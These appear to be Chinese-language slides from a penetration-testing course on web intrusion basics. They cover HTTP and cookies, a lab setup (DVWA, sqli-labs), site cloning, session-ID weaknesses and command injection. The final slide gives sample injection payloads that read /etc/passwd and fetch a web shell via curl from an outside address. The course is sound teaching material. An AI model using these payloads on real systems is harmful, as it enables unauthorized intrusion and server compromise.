渗透测试工程师技术实战课

第1课 Web应用入侵基础

● HTTP协议基础

●静态网站

>Web技术在最初阶段，网站的主要内容是静态的，大多站点托管在ISP上，由文字和图片组成，制作和表现形式也是以表格为主。当时的用户行为也非常简单，基本只是浏览网页。

●动态网站

>应用程序>数据库

>不同用户看到内容不同>根据用户输入返回不同结果

- HTTP协议基础

- 明文

>无内建的机密性安全机制　　>嗅探或代理截断可查看全部明文信息　　>https只能提高传输层安全

- 无状态

>在许多应用场景中，我们需要保持用户登录的状态或记录用户购物车中的商品。由于HTTP是无状态协议，所以必须引入一些技术来记录管理状态，例如Cookie

>Cookie指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。Cookie技术是客户端的解决方案，Cookie就是由服务器发给客户端的特殊信息，而这些信息以文本文件的方式存放在客户端，然后客户端每次向服务器发送请求的时候都会带上这些特殊的信息。

- HTTP协议基础

- 只存在

>请求/响应

- 重要的header

>Set-Cookie:服务器发给客户端的SessionID(被窃取的风险)

>content-Length:响应body部分的字节长度

>Location:重定向用户到另一个页面，可识别身份认证后允许访问的页面

>Cookie:客户端发回给服务器证明用户状态的信息

>Referer:发起新请求之前用户位于哪个页面，服务器基于此头的安全限制很容易被修改绕过

- **HTTP协议基础——状态码**

状态码	定义	说明
1XX	信息	接收到请求，继续处理
2XX	成功	操作成功地收到，理解和接受
3XX	重定向	为了完成请求，必须采取进一步措施
4XX	客户端错误	请求的语法有错误或不能完成被满足
5XX	服务端错误	服务器无法完成明显有效的请求

●实验环境

● Metasploitable2-Linux

>DVWA

>安装sgli-labs

>修改/sqli-labs/sql-connections/credb.inc文件中mysql账号密码，使之能连接上数据库

>打开浏览器，输入地址http://localhost/sqli-labs/,点击

Setup/reset Database for labs,看到如下界面，就说明环境搭建成功了~

●侦查

●HTTrack可以克隆指定网站一把整个网站下载到本地。

●可以用在离线浏览上，也可以用来收集信息(甚至有网站使用隐藏的密码文件)。

●一些仿真度极高的伪网站(为了骗取用户密码),也是使用类似工具做的

●主要作用为了减少与目标系统的交互

●手工漏洞挖掘

●身份认证

>常用弱口令/基于字典的密码爆破

>锁定账号

>信息收集

>手机号

>密码错误提示信息

●密码嗅探

>内网嗅探

>外网嗅探

●手工漏洞挖掘

●会话sessionID

● Xss/cookie

●存在于地址栏的SessionID

●抓包嗅探

sessionID长期不变/永久不变

● sessionID生成算法

●Sequencer

●私有算法

●预判下一次登录时生成的SessionID

●登出后返回测试

●手工漏洞挖掘

●找回密码

>某页面存在手机短信验证码绕过的情况

>http://www.xxx.com/GetPwd.aspx?q=0x0531387a5a6c1227e4d6ba0ce16dc72e&r=3244166

●手工漏洞挖掘

●漏洞的本质

>数据与指令的混淆　　>对用户输入信息过滤不严判断失误，误将指令当数据

●命令执行

>应用程序开发者直接调用操作系统功能

>;　&&　　|　　||　　&

>查看源码，过滤用户输入

>|cat /etc/passwd　　>;curl http://1.1.1.1/shell.php

谢谢观赏